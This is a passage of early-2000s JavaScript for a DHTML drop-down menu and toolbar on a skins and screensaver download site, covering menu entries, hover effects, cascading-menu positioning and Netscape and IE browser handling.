80707071110713-10BHLI/Menu/icon10.gif\"1515019>Top 10 WinAmps</layer";hL[34]="23 82666961110713-10BHLI/Menu/icon10.gif\"1515019>Top 10 WinAmps</layer";nTCode[35]="http://topdownloads.ezthemes.com/pcenhance/hb/main.phtmlself]');";nL[35]="23 80707071110712-10BILI/Menu/HotBars.gif\"1614020>Hot Bars</layer";hL[35]="23 82666961110712-10BILI/Menu/HotBars.gif\"1614020>Hot Bars</layer";nTCode[36]="http://topdownloads.ezthemes.com/pcenhance/ms/main.phtmlself]');";nL[36]="23 8030303111071100BJLI/Menu/MessengerSkins.gif\"1612-120>Messenger Skins</layer";hL[36]="23 8266696111071100BJLI/Menu/MessengerSkins.gif\"1612-120>Messenger Skins</layer";nTCode[37]="http://topdownloads.ezthemes.com/pcenhance/os/latest.phtml?blank+1self]');";nL[37]="23 80303031110714-10BKLI/Menu/cfolder.gif\"1616020>OutlookStationery</layer";hL[37]="23 82666961110714-10BKLI/Menu/ofolder.gif\"1616020>OutlookStationery</layer";nTCode[38]="http://www.pigeons.net/skins-support.phpself]');";nL[38]="23 80303031110714-10BLLI/Menu/support01.gif\"1616020>Skins support </layer";hL[38]="23 82666961110714-10BLLI/Menu/support01.gif\"1616020>Skins support </layer";nTCode[39]="/helpfiles/beginnersguide.phpself]');";nL[39]="23 80303031110814-10BMLI/Menu/softwaredownload.gif\"1616020>Software Faq</layer";hL[39]="23 82666961110814-10BMLI/Menu/softwaredownload.gif\"1616020>Software Faq</layer";nTCode[40]=nTCode[38];nL[40]="23 80303031110814-10BNLI/Menu/puk.gif\"1616020>Skins Faq</layer";hL[40]="23 82666961110814-10BNLI/Menu/puk.gif\"1616020>Skins Faq</layer";nTCode[41]="/helpfiles/screensavers_help.shtmlself]');";nL[41]="23 80303031110814-10BOLI/Menu/previewit.gif\"1616020>Screensavers Faq</layer";hL[41]="23 82666961110814-10BOLI/Menu/previewit.gif\"1616020>Screensavers Faq</layer";nTCode[42]=nTCode[9];nL[42]="23 80303031110814-10BPLI/Menu/forum.gif\"1616020>Website Feedback</layer";hL[42]="23 82666961110814-10BPLI/Menu/forum.gif\"1616020>Website Feedback</layer";var AALIOff=new Image;var AALIOn=AALIOff;AALIOff.src='/Menu/home.gif';var ABLIOff=new Image;var ABLIOn=ABLIOff;ABLIOff.src='/Menu/forum.gif';var ABRIOff=new Image;var ABRIOn=new Image;ABRIOff.src='/Menu/arrow_black.gif';ABRIOn.src='/Menu/arrow.gif';var ACLIOff=new Image;var ACLIOn=ACLIOff;ACLIOff.src='/Menu/cars.gif';var ACRIOff=ABRIOff;var ACRIOn=ABRIOn;var ADLIOff=new Image;var ADLIOn=ADLIOff;ADLIOff.src='/Menu/previewit.gif';var ADRIOff=ABRIOff;var ADRIOn=ABRIOn;var AELIOff=new Image;var AELIOn=AELIOff;AELIOff.src='/Menu/win_plus.gif';var AERIOff=ABRIOff;var AERIOn=ABRIOn;var AFLIOff=new Image;var AFLIOn=AFLIOff;AFLIOff.src='/Menu/movies.gif';var AFRIOff=ABRIOff;var AFRIOn=ABRIOn;var AGLIOff=new Image;var AGLIOn=AGLIOff;AGLIOff.src='/Menu/list.gif';var AGRIOff=ABRIOff;var AGRIOn=ABRIOn;var AHLIOff=new Image;var AHLIOn=AHLIOff;AHLIOff.src='/Menu/puk.gif';var AHRIOff=ABRIOff;var AHRIOn=ABRIOn;var AILIOff=new Image;var AILIOn=AILIOff;AILIOff.src='/Menu/news2.gif';var AJLIOff=ABLIOff;var AJLIOn=ABLIOff;var AKLIOff=new Image;var AKLIOn=AKLIOff;AKLIOff.src='/Menu/users.gif';var ALLIOff=ACLIOff;var ALLIOn=ACLIOff;var AMLIOff=new Image;var AMLIOn=AMLIOff;AMLIOff.src='/Menu/t10s.gif';var ANLIOff=ADLIOff;var ANLIOn=ADLIOff;var AOLIOff=AMLIOff;var AOLIOn=AMLIOff;var AQLIOff=new Image;var AQLIOn=AQLIOff;AQLIOff.src='/Menu/icon10.gif';var ARLIOff=new Image;var ARLIOn=ARLIOff;ARLIOff.src='/Menu/select.gif';var ASLIOff=new Image;var ASLIOn=ASLIOff;ASLIOff.src='/Menu/iBSearch.gif';var ATLIOff=AILIOff;var ATLIOn=AILIOff;var AULIOff=AMLIOff;var AULIOn=AMLIOff;var AVLIOff=AGLIOff;var AVLIOn=AGLIOff;var AWLIOff=ADLIOff;var AWLIOn=ADLIOff;var AXLIOff=AMLIOff;var AXLIOn=AMLIOff;var AYLIOff=ARLIOff;var AYLIOn=ARLIOff;var AZLIOff=AMLIOff;var AZLIOn=AMLIOff;var BALIOff=ASLIOff;var BALIOn=ASLIOff;var BBLIOff=new Image;var BBLIOn=BBLIOff;BBLIOff.src='/Menu/art.gif';var BCLIOff=AMLIOff;var BCLIOn=AMLIOff;var BDLIOff=ASLIOff;var BDLIOn=ASLIOff;var BELIOff=new Image;var BELIOn=BELIOff;BELIOff.src='/Menu/ICQs.gif';var BFLIOff=AMLIOff;var BFLIOn=AMLIOff;var BGLIOff=new Image;var BGLIOn=BGLIOff;BGLIOff.src='/Menu/WinAmps.gif';var BHLIOff=AQLIOff;var BHLIOn=AQLIOff;var BILIOff=new Image;var BILIOn=BILIOff;BILIOff.src='/Menu/HotBars.gif';var BJLIOff=new Image;var BJLIOn=BJLIOff;BJLIOff.src='/Menu/MessengerSkins.gif';var BKLIOff=new Image;var BKLIOn=new Image;BKLIOff.src='/Menu/cfolder.gif';BKLIOn.src='/Menu/ofolder.gif';var BLLIOff=new Image;var BLLIOn=BLLIOff;BLLIOff.src='/Menu/support01.gif';var BMLIOff=new Image;var BMLIOn=BMLIOff;BMLIOff.src='/Menu/softwaredownload.gif';var BNLIOff=AHLIOff;var BNLIOn=AHLIOff;var BOLIOff=ADLIOff;var BOLIOn=ADLIOff;var BPLIOff=ABLIOff;var BPLIOn=ABLIOff;var tb;var tbBack;function SetupToolbar() {if(!MenusReady) {window.setTimeout("SetupToolbar()",10);return false;}if(IE) if(SM) {tb=cFrame.document.getElementById("dmbTB");tbBack=cFrame.document.getElementById("dmbTBBack");}else {tb=cFrame.document.all["dmbTB"];tbBack=cFrame.document.all["dmbTBBack"];}if(NS) {tb=cFrame.document.layers["dmbTB"];tbBack=cFrame.document.layers["dmbTBBack"];}if(!tb) {window.setTimeout("SetupToolbar()",10);return false;}if(IE) {tb=tb.style;tbBack=tbBack.style;}else {tbBack.width=tbBack.clip.width;tbBack.height=tbBack.clip.height;}var tbleft=0;var tbBackleft=0;var tbtop =0;var tbBacktop=0;switch(tbAlignment) {case 0:break;case 1:tbleft=GetWidthHeight(cFrame)[0]/2-tbWidth/2;tbBackleft=tbStyle==0?(tbSpanning==0?tbleft:0):(GetWidthHeight(cFrame)[0]/2-parseInt(tbBack.width)/2);break;case 2:tbleft=GetWidthHeight(cFrame)[0]-tbWidth;tbBackleft=tbStyle==0?(tbSpanning==0?tbleft:0):(GetWidthHeight(cFrame)[0]-parseInt(tbBack.width));break;case 3:tbtop =GetWidthHeight(cFrame)[1]/2-tbHeight/2;tbBacktop=tbSpanning==0?GetWidthHeight(cFrame)[1]/2-parseInt(tbBack.height)/2:0;break;case 4:tbleft=GetWidthHeight(cFrame)[0]/2-tbWidth/2;tbtop =GetWidthHeight(cFrame)[1]/2-tbHeight/2;tbBackleft=tbStyle==0?(tbSpanning==0?tbleft:0):(GetWidthHeight(cFrame)[0]/2-parseInt(tbBack.width)/2);tbBacktop=tbSpanning==0?GetWidthHeight(cFrame)[1]/2-parseInt(tbBack.height)/2:0;break;case 5:tbleft=GetWidthHeight(cFrame)[0]-tbWidth;tbtop =GetWidthHeight(cFrame)[1]/2-tbHeight/2;tbBackleft=tbStyle==0?(tbSpanning==0?tbleft:0):(GetWidthHeight(cFrame)[0]-parseInt(tbBack.width));tbBacktop=tbSpanning==0?GetWidthHeight(cFrame)[1]/2-parseInt(tbBack.height)/2:0;break;case 6:tbtop =GetWidthHeight(cFrame)[1]-tbHeight;tbBacktop=tbStyle==0?GetWidthHeight(cFrame)[1]-parseInt(tbBack.height):0;break;case 7:tbleft=GetWidthHeight(cFrame)[0]/2-tbWidth/2;tbtop =GetWidthHeight(cFrame)[1]-tbHeight;tbBackleft=tbStyle==0?(tbSpanning==0?tbleft:0):(GetWidthHeight(cFrame)[0]/2-parseInt(tbBack.width)/2);tbBacktop=tbStyle==0?GetWidthHeight(cFrame)[1]-parseInt(tbBack.height):0;break;case 8:tbleft=GetWidthHeight(cFrame)[0]-tbWidth;tbtop =GetWidthHeight(cFrame)[1]-tbHeight;tbBackleft=tbStyle==0?(tbSpanning==0?tbleft:0):(GetWidthHeight(cFrame)[0]-parseInt(tbBack.width));tbBacktop=tbStyle==0?GetWidthHeight(cFrame)[1]-parseInt(tbBack.height):0;break;case 9:tbleft=tbFPos[0];tbtop =tbFPos[1];tbBackleft=tbleft;tbBacktop=tbtop;break;}tb.left=parseInt(tbleft)+(tbFollowHScroll?GetLeftTop(cFrame)[0]:0)+tbMargins[0];tb.top =parseInt(tbtop) +(tbFollowVScroll?GetLeftTop(cFrame)[1]:0)+tbMargins[1];tbBack.left=parseInt(tbBackleft)+(tbFollowHScroll?GetLeftTop(cFrame)[0]:0)+tbMargins[0];tbBack.top =parseInt(tbBacktop) +(tbFollowVScroll?GetLeftTop(cFrame)[1]:0)+tbMargins[1];if(tbSpanning==1) {if(tbStyle==0) tbBack.width=GetWidthHeight(cFrame)[0];if(tbStyle==1) tbBack.height=GetWidthHeight(cFrame)[1];}tb.visibility="visible";tbBack.visibility="visible";if(NS) window.setTimeout("SetupToolbar()",100);return true;}function GetHSPos(n,Alignment,mW,mH) {var acc=0;var x=0;var y=0;for(var h=n-1;h>0;h--) if(tbStyle==0) acc += tbHS[h][0]+tbBorder+tbSpacing;else acc += tbHS[h][1]+tbBorder+tbSpacing;x=(IsFrames&&(tbStyle==1))?-(tbWidth-tbBorder):parseInt(tb.left)+tbBorder;y=(IsFrames&&(tbStyle==0))?-(tbHeight-tbBorder):parseInt(tb.top);if(tbStyle==0) {x += acc;switch(Alignment) {case 0:y += tbHeight-tbBorder;break;case 1:x -= (mW-tbHS[n][0]);y += tbHeight-tbBorder;break;case 2:y -= mH-tbBorder;break;case 3:x -= (mW-tbHS[n][0]);y -= mH-tbBorder;break;case 4:x -= mW;y += tbBorder;break;case 5:x -= mW;y += (tbHeight-mH)-tbBorder;break;case 6:x += tbHS[n][0];y += tbBorder;break;case 7:x += tbHS[n][0];y += (tbHeight-mH)-tbBorder;break;}}else {y += acc+tbBorder;switch(Alignment) {case 0:y += tbHS[n][1];break;case 1:x -= (mW-tbWidth)+2*tbBorder;y += tbHS[n][1];break;case 2:y -= mH;break;case 3:x -= (mW-tbWidth)+2*tbBorder;y -= mH;break;case 4:x -= mW;break;case 5:x -= mW;y += (tbHS[n][1]-mH);break;case 6:x += tbWidth-2*tbBorder;break;case 7:x += tbWidth-2*tbBorder;y += (tbHS[n][1]-mH);break;}}if(IsFrames) {x += GetLeftTop()[0];y += GetLeftTop()[1];}return [x,y];}function hsNSHoverSel(mode,mc,bcolor) {var n;var LayerHTM;if(mode==0) {if(lmcHS) hsNSHoverSel(1);mc=mc.parentLayer.layers[mc.name.substr(0,mc.name.indexOf("EH"))];n=parseInt(mc.name.substr(2));if(nOM>1) if(mc==OpenMenus[nOM-1].SelCommand) return false;while(!InMenu()&&nOM>1) Hide();LayerHTM=hshL[n];lmcHS=mc;lmcHS.n=n;lmcHS.CommandPar=mc.bgColor;}else {mc=lmcHS;LayerHTM=hsnL[mc.n];bcolor=(mc.parentLayer.background.src!=""?null:mc.CommandPar);lmcHS=null;}mc.bgColor=bcolor;mc.document.write(LayerHTM);mc.document.close();mc.clip.width=tbHS[mc.n-1000][0];return true;}function hsHoverSel(mode,imgLName,imgRName,e) {var imgL=new Image;var imgLRsc=new Image;var imgR=new Image;var imgRRsc=new Image;var mc;if(imgLName!="_") var imgL=eval("cFrame.document.images['"+imgLName+"']");if(imgRName!="_") var imgR=eval("cFrame.document.images['"+imgRName+"']");if(mode==0) {if(lmcHS) hsHoverSel(1);mc=GetCurCmd(e);if(!mc) return false;if(SM) mc.setAttribute("style",GetCStyle(mc.style)+hshS[mc.id]);else mc.style.cssText=GetCStyle(mc.style)+hshS[mc.id];if(imgLName!='_') imgLRsc=eval(imgLName+"On");if(imgRName!='_') imgRRsc=eval(imgRName+"On");lmcHS=mc;lmcHS.CommandPar=[imgLName,imgRName] }else {mc=lmcHS;imgLName=lmcHS.CommandPar[0];imgRName=lmcHS.CommandPar[1];mc.style.background="";if(SM) mc.setAttribute("style",GetCStyle(mc.style)+hsnS[mc.id]);else mc.style.cssText=GetCStyle(mc.style)+hsnS[mc.id];if(imgLName!='_') imgLRsc=eval(imgLName+"Off");if(imgRName!='_') imgRRsc=eval(imgRName+"Off");lmcHS=null;}if(imgLName!='_') {imgL=eval("cFrame.document.images."+imgLName);imgL.src=imgLRsc.src;}if(imgRName!='_') {imgR=eval("cFrame.document.images."+imgRName);imgR.src=imgRRsc.src;}return true;}function FillTBItems() {var slo;var ocw;var och;if(!tb) window.setTimeout("FillTBItems()",10);else for(var i=1001;i<hsnL.length;i++) {slo=tb.layers["MC"+i];slo.document.write(hsnL[i]);slo.document.close();slo.clip.width=tbHS[i-1000][0];slo.clip.height=tbHS[i-1000][1];}}if(NS) window.onload=FillTBItems;window.onresize=SetupToolbar;window.onscroll=SetupToolbar;SetupToolbar();function GetCurCmd(e) {if(SM) var cc=e;else {var cc=mFrame.window.event;if(!cc) cc=cFrame.window.event;cc=cc.srcElement;}while(cc.id=="") {cc=cc.parentElement;if(cc==null) break;}return cc;}function HoverSel(mode,imgLName,imgRName,e) {var imgLRsc=new Image;var imgRRsc=new Image;var nS;var mc;if(mode==0&&OpenMenus[nOM].SelCommand!=null) HoverSel(1);if(mode==0) {mc=GetCurCmd(e);if(nOM>1) {if(mc==OpenMenus[nOM-1].SelCommand) return false;while(((BV>4)?mc.parentNode.parentNode.id!=OpenMenus[nOM].mName:mc.parentElement.parentElement.id!=OpenMenus[nOM].mName)) Hide();}if(imgLName!='_') imgLRsc=eval(imgLName+"On");if(imgRName!='_') imgRRsc=eval(imgRName+"On");if(OP) mc.opw=OpenMenus[nOM].width-2*mc.style.left;else {mc.opw=mc.style.width;mc.b=mc.style.borderLeft;mc.hasBorder=mc.b.split(" ").length>1;}OpenMenus[nOM].SelCommand=mc;OpenMenus[nOM].SelCommandPar=[imgLName,imgRName,SM?mc.getAttribute("style"):mc.style.cssText];if(SM) mc.setAttribute("style",GetCStyle(mc.style)+hS[mc.id]);else mc.style.cssText=GetCStyle(mc.style)+hS[mc.id];if(SelSndId) PlaySound();}else {mc=(mode==1)?OpenMenus[nOM].SelCommand:OpenMenus[nOM].Opener;imgLName=(mode==1)?OpenMenus[nOM].SelCommandPar[0]:OpenMenus[nOM].OpenerPar[0];imgRName=(mode==1)?OpenMenus[nOM].SelCommandPar[1]:OpenMenus[nOM].OpenerPar[1];nS=(mode==1)?OpenMenus[nOM].SelCommandPar[2]:OpenMenus[nOM].OpenerPar[2];mc.style.background="";if(IsMac) mc.style.border="0px none";if(SM) mc.setAttribute("style",nS);else mc.style.cssText=((BV<5)?GetCStyle(mc.style):"")+nS;if(imgLName!='_') imgLRsc=eval(imgLName+"Off");if(imgRName!='_') imgRRsc=eval(imgRName+"Off");OpenMenus[nOM].SelCommand=null;}if(imgLName!='_') mFrame.document.images[imgLName].src=imgLRsc.src;if(imgRName!='_') mFrame.document.images[imgRName].src=imgRRsc.src;if(!OP) FixHover(mc,mode);return true;}function FixHover(mc,mode) {var hasBorder;var bw;if(mode==0) {if(BV>4) s=mc.getElementsByTagName("SPAN")[0];else s=mc.document.all.tags("SPAN")[0];mc.s=s;mc.stop=s.style.top;mc.sleft=s.style.left;hasBorder=mc.style.borderLeft.split(" ").length>1;if(hasBorder != mc.hasBorder) {bw=(hasBorder?-GetBorderWidth(mc.style.borderLeft):GetBorderWidth(mc.b));s.style.left=parseInt(s.style.left)+bw+"px";s.style.top=parseInt(s.style.top)+bw+"px";if(SM) {mc.cwidth=mc.style.width;mc.cheight=mc.style.height;mc.style.width=parseInt(mc.style.width)+2*bw+"px";mc.style.height=parseInt(mc.style.height)+2*bw+"px";}}}else {mc.s.style.top=mc.stop;mc.s.style.left=mc.sleft;if(SM) {mc.style.width=mc.cwidth;mc.style.height=mc.cheight;}}}function NSHoverSel(mode,mc,bcolor) {var n;var ocw;var och;var LayerHTML;ClearTimer(parseInt(HTHnd[nOM]));HTHnd[nOM]=0;if(!nOM) return false;if(mode==0&&OpenMenus[nOM].SelCommand!=null) NSHoverSel(1);if(mode==0) {mc=mc.parentLayer.layers[mc.name.substr(0,mc.name.indexOf("EH"))];n=parseInt(mc.name.substr(2));if(nOM>1) if(mc==OpenMenus[nOM-1].SelCommand) return false;while(!InMenu()&&nOM>1) Hide();LayerHTML=hL[n];OpenMenus[nOM].SelCommand=mc;OpenMenus[nOM].SelCommandPar=mc.bgColor;mc.bgColor=(LayerHTML.split("|")[1]!="")?null:bcolor;if(SelSndId) PlaySound();}else {mc=(mode==1)?OpenMenus[nOM].SelCommand:OpenMenus[nOM].Opener;bcolor=(mode==1)?OpenMenus[nOM].SelCommandPar:OpenMenus[nOM].OpenerPar;n=parseInt(mc.name.substr(2));LayerHTML=nL[n];mc.bgColor=(mc.parentLayer.background.src!=""||LayerHTML.split("|")[1]!="")?null:bcolor;OpenMenus[nOM].SelCommand=null;}ocw=mc.clip.width;och=mc.clip.height;mc.document.write(LayerHTML.split("|")[0]);mc.document.close();mc.clip.width=ocw;mc.clip.height=och;if(LayerHTML.split("|")[1]!="") mc.background.src=LayerHTML.split("|")[1];return true;}function Hide() {ClearTimer(HTHnd[nOM]);HTHnd[nOM]=0;ClearTimer(AnimHnd);AnimHnd=0;ClearTimer(TimerHideHnd);if(OpenMenus[nOM].SelCommand!=null) {if(IE) HoverSel(1);if(NS) NSHoverSel(1);}if(OpenMenus[nOM].Opener!=null) {if(IE) HoverSel(3);if(NS) NSHoverSel(3);}OpenMenus[nOM].visibility="hidden";nOM--;if(nOM==0) {if(tbUseToolbar&&lmcHS) {if(IE) hsHoverSel(1);if(NS) hsNSHoverSel(1);}FormsTweak("visible");status="";}else if(!InMenu()) HTHnd[nOM]=window.setTimeout("Hide()",HideSpeed/4);}function ShowMenu(mName,x,y,isCascading,hsImgName,algn) {ClearTimer(parseInt(HTHnd[nOM]));HTHnd[nOM]=0;x=parseInt(x);y=parseInt(y);if(IE) if(BV>4) var Menu=mFrame.document.getElementById(mName);else var Menu=mFrame.document.all[mName];if(NS) var Menu=mFrame.document.layers[mName];if(!Menu) return false;if(IE) {Menu=Menu.style;if(BV>4) Menu.frmt=mFrame.document.getElementById(mName+"frmt").style;else Menu.frmt=mFrame.document.all[mName+"frmt"].style;}if(Menu==OpenMenus[nOM]) return false;if(AnimHnd&&nOM>0) {AnimStep=100;Animate();}if(!isCascading) {var oldlmcHS=lmcHS;lmcHS=null;HideAll();lmcHS=oldlmcHS;}Menu.mName=mName;Menu.Opener=nOM>0?OpenMenus[nOM].SelCommand:null;Menu.OpenerPar=nOM>0?OpenMenus[nOM].SelCommandPar:null;Menu.SelCommand=null;if(OP) {Menu.width=Menu.pixelWidth;Menu.height=Menu.pixelHeight;}if(!isCascading) {if(hsImgName) {var imgObj=cFrame.document.images[hsImgName.split("|")[0]];if(imgObj) {var tbMode=hsImgName.split("|")[1];if(tbMode&2) x=AutoPos(Menu,imgObj,algn)[0]+(IsFrames?GetLeftTop()[0]:0);if(tbMode&1) y=AutoPos(Menu,imgObj,algn)[1]+(IsFrames?GetLeftTop()[1]:0);}}}var pW=GetWidthHeight()[0]+GetLeftTop()[0];var pH=GetWidthHeight()[1]+GetLeftTop()[1];if(IE) {if(isCascading) {x=parseInt(OpenMenus[nOM].left)+(x>0?2:1)*parseInt(OpenMenus[nOM].SelCommand.style.left)+(x>0?parseInt(OpenMenus[nOM].SelCommand.opw):0)-6+Math.abs(x);y=parseInt(OpenMenus[nOM].SelCommand.style.top)+parseInt(OpenMenus[nOM].top)-y;Menu.left=(x+parseInt(Menu.width)>pW)?parseInt(OpenMenus[nOM].left)-parseInt(Menu.width)+6:x+"px";Menu.top= (y+parseInt(Menu.height)>pH)?pH-parseInt(Menu.height):y+"px";}else {Menu.left=(x+parseInt(Menu.width)>pW)?pW-parseInt(Menu.width):x+"px";Menu.top= (y+parseInt(Menu.height)>pH)?pH-parseInt(Menu.height):y+"px";}if(IsWin&&!SM) Menu.clip="rect(0 0 0 0)";}if(NS) {if(isCascading) {x=OpenMenus[nOM].left+(x>0?2:1)*OpenMenus[nOM].SelCommand.left+(x>0?OpenMenus[nOM].SelCommand.clip.width:0)-6+Math.abs(x);y=OpenMenus[nOM].SelCommand.top+OpenMenus[nOM].top-y;x=(x+Menu.w>pW)?OpenMenus[nOM].left-Menu.w+6:x;y=(y+Menu.h>pH)?pH-Menu.h:y;}else {x=(x+Menu.w>pW)?pW-Menu.w:x;y=(y+Menu.h>pH)?pH-Menu.h:y;}Menu.clip.width=0;Menu.clip.height=0;Menu.moveToAbsolute(x,y);}if(isCascading) Menu.zIndex=parseInt(OpenMenus[nOM].zIndex)+1;OpenMenus[++nOM]=Menu;if(NS) FillCommands();if(SM&&!OP) FixCommands(mName);Menu.visibility="visible";HTHnd[nOM]=0;if((IE&&IsWin&&!SM)||NS) AnimHnd=window.setTimeout("Animate()",10);FormsTweak("hidden");if(!isCascading&&!IsContext) IsOverHS=true;IsContext=false;ClearTimer(TimerHideHnd);TimerHideHnd=window.setTimeout("AutoHide()",TimerHideDelay);if(SelSndId) PlaySound();return true;}function FixCommands(mName) {var m=mFrame.document.getElementById(mName);if(!m.Fixed) {var sd=m.getElementsByTagName("DIV");var b=GetBorderWidth(sd[0].style.borderLeft);sd[0].style.width=parseInt(sd[0].style.width)-2*b+"px";sd[0].style.height=parseInt(sd[0].style.height)-2*b+"px";for(i=1;i<(sd.length);i++) {if(sd[i].style.borderLeft.indexOf("none")==-1) {sd[i].style.width=parseInt(sd[i].style.width)-2*GetBorderWidth(sd[i].style.borderLeft)+"px";sd[i].style.height=parseInt(sd[i].style.height)-2*GetBorderWidth(sd[i].style.borderTop)+"px";}}}m.Fixed=true;}function FillCommands() {var n;var ocw;var och;var m=OpenMenus[nOM];if(!m.Filled) {for(var sl=0;sl<m.layers.length;sl++) if(m.layers[sl].layers.length>0) {m=m.layers[sl];break;}for(var sl=0;sl<m.layers.length-1;sl++) {var slo=m.layers[sl];if(slo.name.indexOf("EH")==-1&&slo.name.indexOf("MC")==0) {ocw=slo.clip.width;och=slo.clip.height;n=parseInt(slo.name.substr(2));slo.document.write(nL[n].split("|")[0]);slo.document.close();slo.clip.width=ocw;slo.clip.height=och;}}}m.Filled=true;}function Animate() {var r='';var nw=nh=0;switch(fx) {case 1:if(IE) r="0 "+AnimStep+"% "+AnimStep+"% 0";if(NS) nw=AnimStep;nh=AnimStep;break;case 2:if(IE) r="0 100% "+AnimStep+"% 0";if(NS) nw=100;nh=AnimStep;break;case 3:if(IE) r="0 "+AnimStep+"% 100% 0";if(NS) nw=AnimStep;nh=100;break;case 0:if(IE) r="0 100% 100% 0";if(NS) nw=100;nh=100;break;}if(OpenMenus[nOM]) {with(OpenMenus[nOM]) {if(IE) clip= "rect("+r+")";if(NS) {clip.width=w*(nw/100);clip.height=h*(nh/100);}}AnimStep += 20;if(AnimStep<=100) AnimHnd=window.setTimeout("Animate()",25);else {ClearTimer(AnimHnd);AnimStep=0;AnimHnd=0;}}}function InMenu() {var m=OpenMenus[nOM];if(!m) return false;var l=parseInt(m.left);var r=l+(IE?parseInt(m.width):m.clip.width);var t=parseInt(m.top);var b=t+(IE?parseInt(m.height):m.clip.height);return ((mX>=l&&mX<=r)&&(mY>=t&&mY<=b));}function SetPointerPos(e) {if(IE) {if(!SM) {if(mFrame!=cFrame||event==null) if(mFrame.window.event==null) return;else e=mFrame.window.event;else e=event;}mX=e.clientX+GetLeftTop()[0];mY=e.clientY+GetLeftTop()[1];}if(NS) {mX=e.pageX;mY=e.pageY;}}function HideMenus(e) {if(nOM>0) {SetPointerPos(e);if(OpenMenus[nOM].SelCommand!=null) if(!InMenu()&&!HTHnd[nOM]) HTHnd[nOM]=window.setTimeout("if(nOM>0)if(!InMenu())Hide()",HideSpeed);}}function FormsTweak(state) {if(DoFormsTweak&&IE) for(var f=0;f <= (mFrame.document.forms.length-1);f++) for(var e=0;e <= (mFrame.document.forms[f].elements.length-1);e++) if(mFrame.document.forms[f].elements[e].type=="select-one") mFrame.document.forms[f].elements[e].style.visibility=state;}function execURL(url,tframe) {HideAll();window.setTimeout("execURL2('"+url+"','"+tframe+"')",100);}function execURL2(url,tframe) {var fObj=eval(rStr(tframe));url=rStr(url);url.indexOf("javascript")!=url.indexOf("vbscript")?eval(url):fObj.location.href=url;}function rStr(s) {s=xrep(s,"\x1E","'");s=xrep(s,"\x1D","\x22");s=xrep(s,"\x1C",",");return s;}function xrep(s,f,n) {var tmp=s.split(f);return tmp.join(n);}function hNSCClick(e) {eval(this.TCode);}function HideAll() {while(nOM>0) Hide();}function GetLeftTop(f) {if(!f) f=mFrame;if(IE) return [OP?0:SM?f.scrollX:f.document.body.scrollLeft,OP?0:SM?f.scrollY:mFrame.document.body.scrollTop];if(NS) return [f.pageXOffset,f.pageYOffset];}function tHideAll() {IsOverHS=false;HTHnd[nOM]=window.setTimeout("if(!InMenu()&&nOM==1)HideAll();else HTHnd[nOM]=0;",HideSpeed);}function GetWidthHeight(f) {if(!f) f=mFrame;if(IE&&!SM) return [f.document.body.clientWidth,f.document.body.clientHeight];if(NS||SM) return [f.innerWidth,f.innerHeight];}function GetBorderWidth(b) {if(OP) return 0;var w;var l=b.split(" ");for(var i=0;i<l.length;i++) {w=parseInt(l[i]);if(w>0) return w;}return 0;}function GetCStyle(cmc) {return "position:absolute;left:"+cmc.left+ ";top:"+cmc.top+ ";width:"+(OP?cmc.pixelWidth:cmc.width)+ ";height:"+(OP?cmc.pixelHeight:cmc.height)+";";}function AutoPos(Menu,imgObj,arAlignment) {var x=GetImgXY(imgObj)[0];var y=GetImgXY(imgObj)[1];var mW=parseInt(NS?Menu.w:Menu.width);var mH=parseInt(NS?Menu.h:Menu.height);switch(arAlignment) {case 0:y += GetImgWH(imgObj)[1];break;case 1:x += GetImgWH(imgObj)[0]-mW;y += GetImgWH(imgObj)[1];break;case 2:y -= mH;break;case 3:x += GetImgWH(imgObj)[0]-mW;y -= mH;break;case 4:x -= mW;break;case 5:x -= mW;y -= mH-GetImgWH(imgObj)[1];break;case 6:x += GetImgWH(imgObj)[0];break;case 7:x += GetImgWH(imgObj)[0];y -= mH-GetImgWH(imgObj)[1];break;}return [x,y];}function GetImgXY(imgObj) {var x;var y;if(IE){x=getOffset(imgObj)[0];y=getOffset(imgObj)[1];}else{x=imgObj.x;y=imgObj.y;}return [x,y];}function GetImgWH(imgObj) {return [parseInt(imgObj.width),parseInt(imgObj.height)];}function getOffset(imgObj) {x=imgObj.offsetLeft;y=imgObj.offsetTop;ce =imgObj.offsetParent;while (ce!=null){y += ce.offsetTop;x += ce.offsetLeft;ce=ce.offsetParent;}return [x,y];}function AutoHide() {var original_nOM=nOM;var OktoClose=true;for(;nOM>0;nOM--) if(InMenu()) {OktoClose=false;break;}nOM=original_nOM;if(OktoClose&&!IsOverHS) HideAll();TimerHideHnd=window.setTimeout("AutoHide()",TimerHideDelay);}function PlaySound() {if(IsWin&&!SM&&(IE&&BV>4||NS)) {var s=mFrame.document.embeds["Snd"+SelSndId];if(s) s.play();}SelSndId=0;}function ShowContextMenu(e) {if(cntxMenu!='') {if(IE) {SetPointerPos(e);IsContext=true;cFrame.ShowMenu(cntxMenu,mX-1,mY-1,false);return false;}if(NS) if(e.which==3) {IsContext=true;cFrame.ShowMenu(cntxMenu,e.x-1,e.y-1,false);return false;}}return true;}function SetUpEvents() {if(!SM) onerror=errHandler;if(typeof(mFrame)=="undefined") mFrame=eval(frames['self']);if(typeof(mFrame)=="undefined") window.setTimeout("SetUpEvents()",10);else {if(NS) {mFrame.captureEvents(Event.MOUSEMOVE);mFrame.onmousemove=HideMenus;mFrame.window.captureEvents(Event.MOUSEDOWN);mFrame.window.onmousedown=ShowContextMenu;nsOW=GetWidthHeight()[0];nsOH=GetWidthHeight()[1];window.onresize=rHnd;PrepareEvents();}if(IE) {document.onmousemove=HideMenus;mFrame.document.onmousemove=document.onmousemove;mFrame.document.oncontextmenu=ShowContextMenu;if(SM) {var i=0;var m;while(mFrame.document.getElementById(i)) {m=mFrame.document.getElementById(i++);m.style.width=parseInt(m.style.width)-2*parseInt(m.style.paddingLeft)+"px";m.style.height=parseInt(m.style.height)-2*parseInt(m.style.paddingTop)+"px";}}}IsFrames=(cFrame!=mFrame);MenusReady=true;}}function errHandler(sMsg,sUrl,sLine) {if(sMsg.substr(0,16)!="Access is denied"&&sMsg!="Permission denied") alert("Java Script Error\n"+ "\nDescription:"+sMsg+ "\nSource:"+sUrl+ "\nLine:"+sLine);return true;}function FixPointSize(s) {if(s.indexOf("point-size=")!=-1) {var sp=s.split("point-size=")[1];var ls=s.split("point-size=")[0]+"point-size=";var ps=sp.substr(0,sp.indexOf(" "));var rs=s.split("point-size=")[1].substr(sp.indexOf(" "));ps=parseInt(ps)+3;}else return s;return ls+ps+rs;}function ClearTimer(t) {if(t) window.clearTimeout(t);}function rHnd() {if((GetWidthHeight()[0]!=nsOW)||(GetWidthHeight()[1]!=nsOH)) frames["top"].location.reload();}function PrepareEvents() {for(var l=0;l<mFrame.document.layers.length;l++) {var lo=mFrame.document.layers[l];if(lo.layers.length) 